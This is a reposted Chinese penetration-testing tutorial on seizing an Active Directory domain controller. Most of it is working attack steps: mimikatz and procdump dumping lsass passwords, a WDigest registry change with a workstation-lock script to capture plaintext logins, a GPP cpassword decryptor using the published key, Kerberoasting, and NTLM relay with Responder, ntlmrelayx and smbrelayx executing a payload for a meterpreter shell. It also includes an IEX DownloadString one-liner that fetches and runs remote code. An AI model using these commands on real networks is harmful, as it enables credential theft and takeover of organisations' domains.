域滲透——獲取域控.md


域滲透——獲取域控

轉載自i春秋

一、高權限讀取本地密碼

當域管理員在域成員機器上登錄進行工作的時候,會將明文密碼保存在本地進行的lsass.exe,可以通過mimikatz來讀取到本地的明文密碼。

privilege::debug  # 提權
sekurlsa::logonpasswords

如果主機存在殺軟的時候,上傳mimikatz很多時候都會被殺掉,可以通過procdump+mimikatz的方式進行繞過。先導出lsass.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

保存到本地,通過mimikatz讀lsass.dmp的明文

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"  > 1.txt

如果目標機器是windows server 2012,通過添加注冊表,在通過鎖屏,讓管理員重新登錄及可以讀取明文。

添加注冊表,設置UseLogonCredential設置為1

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

利用powershell腳本進行鎖屏

Function Lock-WorkStation 
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

管理員重新登錄后就可以抓取到明文密碼了。

二、SYSVOL組策略獲取密碼

在域環境中,有個默認的共享路徑

\\<DOMAIN>\SYSVOL\<DOMAIN>\

SYSVOL是活動目錄存儲文件服務副本的共享文件夾,里面包含有登錄腳本,組策略數據等,域里的所有用戶都能訪問這個共享文件。在SYSVOL目錄下,默認是沒有groups.xml文件的,必須創建組策略腳本登錄才有這個文件。在groups.xml文件中,密碼是通過AES-256加密的,但是微軟發布了AES的私鑰

img

可以利用powershell解密密文:

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword
    )

    try {
        #Append appropriate padding based on string length  
        $Mod = ($Cpassword.length % 4)

        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }

        $Base64Decoded = [Convert]::FromBase64String($Cpassword)

        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length) 
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor() 
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }

    catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"

img

針對SYSOVL的防御:

1.打補丁KB2962486
2.刪除SYSVOL目錄下的groups.xml
3.設置共享文件SYSVOL的權限

三、Kerberoasting

SPN為服務主體名稱,是服務實列(MSSQL,HTTP等)的唯一標識,如果在林中安裝服務的多個實列,每個實列都有自己的SPN,如果kerberos服務票證的加密類型為RC4_HMAC_MD5,就可以導出TGS對其進行離線破解,獲取到域用戶的密碼了。

使用setspn查詢spn(windows7和server2008默認自帶)

查詢域內所有的SPN和查詢test域的SPN

setspn.exe -q */*
setspn.exe -T test.com -q */*

img

以CN開頭的為代表一個賬號,機器賬號為Computers,域用戶賬號為Users

查詢域內注冊的spn(kerberoast)

cscript GetUserSPNs.vbs

PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

給MSSQL服務注冊SPN

setspn.exe -A MSSQLSvc/WIN-M34UCFJIPNQ.test.com test.com\fanxing

將kerberos的加密方式換成RC4_HMAC_MD5

img

請求指定的TGS,完成之后klist就能查看相應的票據

$SPNName = 'MSSQLSvc/WIN-M34UCFJIPNQ.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

img

mimikatz導出票據

kerberos::list /export

使用tgsrepcrack.py破解

python tgsrepcrack.py wordlist.txt mssql.kirbi

四、重放攻擊

在NTML認證的過程中,數據包傳遞的是NTML-Hash加密的16位的challenge隨機數得到的Net-NTML

Hash,如果存在中間人的情況,就可以通過hash進行重放攻擊,下面簡述下存在中間人,NTML協議過程:

img

1.當客戶端對服務端發起請求,客戶端並不知道中間人存在,所以把請求發送給了中間人。中間人拿着這個請求發送給服務端,服務端以為是客戶端發來的請求。
2.進過驗證后,會生成一個隨機數(challenge)返回給攻擊者,服務端保存的ntmlhash進行DES加密challenge(chal
lenge1),攻擊者拿着這個challenge明文發送給客戶端。
3.客戶端對這個challenge用自己的密碼進行DES加密(response),發送給中間人,中間人在將這個請求發送給服務端。
4.服務端拿到這個response跟之前加密的challenge1進行對比,一樣的話就驗證成功。

在進行ntml中間人攻擊的時候,要避免最小的網絡流量,所以使用的比較多的也是LLMNR/NetNS欺騙。

在兩台windows進行進行資源請求的時候,對機器的解析順序為:

1.HOSTS文件(c:/windows/system32/driver/etc/hosts)
2.本地的DNS緩存(ipconfig /displaydns)
3.dns服務器
4.LLMNR
5.NetBios-NS
0x01、探測簽名是否開啟

對於smb中繼的利用條件:

1.不能開啟smb簽名,而在域內,域控上面是開啟了簽名的,域成員機器是沒有開啟的。
2.打了ms08-068補丁的xp/2003系統也無法利用

首先利用nmap探測是否開啟了簽名

nmap -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.50.241

img

0x02、Responder+ntmlrelayx

獲取ntmlv2 hash,在攻擊機執行

python Responder.py -I eth0 -v      #假設ip為192.168.50.64

在任意機器上執行

dir \\192.168.50.64\c$

img

當使用ntmlrelayx進行重放攻擊的時候,需要在Responder.conf設置SMB和HTTP服務為Off

python Responder.py -I eth0 -v    # 啟動Responder,假設ip為192.168.50.64
python ntlmrelayx.py -t 192.168.50.241   # -t為受害者,進行中繼攻擊
net use192.168.50.64\c$ "fx@123.com" /user:"administrator"   # 攻擊機執行

img

0x03、smbrelayx

使用smbrelayx和ntmlrelayx都是利用的impacket,環境配置

pip install pycrypto    # 安裝加密庫
apt-get --reinstall install python-pyasn1 python-pyasn1-modules
cd impacket/
python setup.py install

在攻擊機進行重放攻擊

# -h為指定受害者,-e在進行重放攻擊后,在受害者機器執行exe
python smbrelayx.py -h 192.168.50.241 -e /root/shell.exe 

在內網其他目標機器執行

net use192.168.50.64\c$ "fx@123.com" /user:"administrator"

在msf上成功獲取到meterpreter

img

0x04、Windows平台的重放攻擊

在windows下,可以利用powershell編寫的Inveigh工具

powershell "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1');Invoke-Inveigh -consoleoutput Y FileOutput Y"

在其他主機上執行

dir \\192.168.50.242\c$   #或者在開啟HTTP,利用<img>來加載圖片
<img src="\\192.168.50.242\1.png">    #在通過HTTP協議訪問就行了

img

拿到net-ntmlhash后,可以通過hashcat跑下字典,但是幾率特別小。

注意:在獲取權限的那台機器,需要關閉windows防火牆,不是一直獲取到challenge。


mimikatz是一款功能強大的輕量級調試神器,通過它你可以提升進程權限注入進程讀取進程內存,當然他最大的亮點也是讓阿剛最感興趣的就是他可以直接從 lsass中獲取當前處於Active系統的登錄密碼, lsass是微軟Windows系統的安全機制它主要用於本地安全和登陸策略,通常我們在登陸系統時輸入密碼之后,密碼便會儲存在 lsass內存中,經過其 wdigest 和 tspkg 兩個模塊調用后,對其使用可逆的算法進行加密並存儲在內存之中, 而mimikatz正是通過對lsass的逆算獲取到明文密碼!也就是說只要你不重啟電腦,就可以通過他獲取到登陸密碼,只限當前登陸系統!

下面簡單的介紹一下神器的命令

  • cls-----------------------------清屏
  • exit----------------------------退出
  • version------------查看mimikatz的版本
  • system::user-----查看當前登錄的系統用戶
  • system::computer-------查看計算機名稱
  • process::list------------------列出進程
  • process::suspend 進程名稱 -----暫停進程
  • process::stop 進程名稱---------結束進程
  • process::modules --列出系統的核心模塊及所在位置
  • service::list---------------列出系統的服務
  • service::remove-----------移除系統的服務
  • service::start stop 服務名稱--啟動或停止服務
  • privilege::list---------------列出權限列表
  • privilege::enable--------激活一個或多個權限
  • privilege::debug-----------------提升權限
  • nogpo::cmd------------打開系統的cmd.exe
  • nogpo::regedit -----------打開系統的注冊表
  • nogpo::taskmgr-------------打開任務管理器
  • ts::sessions-----------------顯示當前的會話
  • ts::processes------顯示進程和對應的pid情況等
  • sekurlsa::wdigest-----獲取本地用戶信息及密碼
  • sekurlsa::tspkg------獲取tspkg用戶信息及密碼
  • sekurlsa::logonPasswords--獲登陸用戶信息及密碼

ps:copy~

mimikatz是法國的一位神牛寫的神器

1.常規的操作使用命令

mimikatz # cls -->清屏,類似dos命令cls.

mimikatz # exit -->退出mimikatz.

mimikatz #version -->查看當前的mimikatz的版本.

隨便輸入"xxx::",會提示"modules:'xxx' intr0uvable",大概意思就是你輸入的命令不存在,然后會列出所有可用的命令

查看列表中命令的具體參數同樣可以輸入"命令::"來查看,比如:"inject::",如圖:

2.系統方面的操作使用命令:system

mimikatz #system::user -->查看當前登錄的系統用戶

mimikazt #system::computer -->返回當前的計算機名稱

3.在服務器終端的操作命令: ts

mimikatz #ts::sessions -->顯示當前的會話

mimikatz #ts::processes windows-d.vm.nirvana.local -->顯示服務器的進程和對應的pid情況等。

4.系統服務相關的操作使用命令:service

5.系統進程相關操作的使用命令:process

6.系統線程相關操作使用命令:thread

7.系統句柄相關操作使用命令:handle

8.加密相關操作使用命令:crypto

9.注入操作使用命令:inject


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM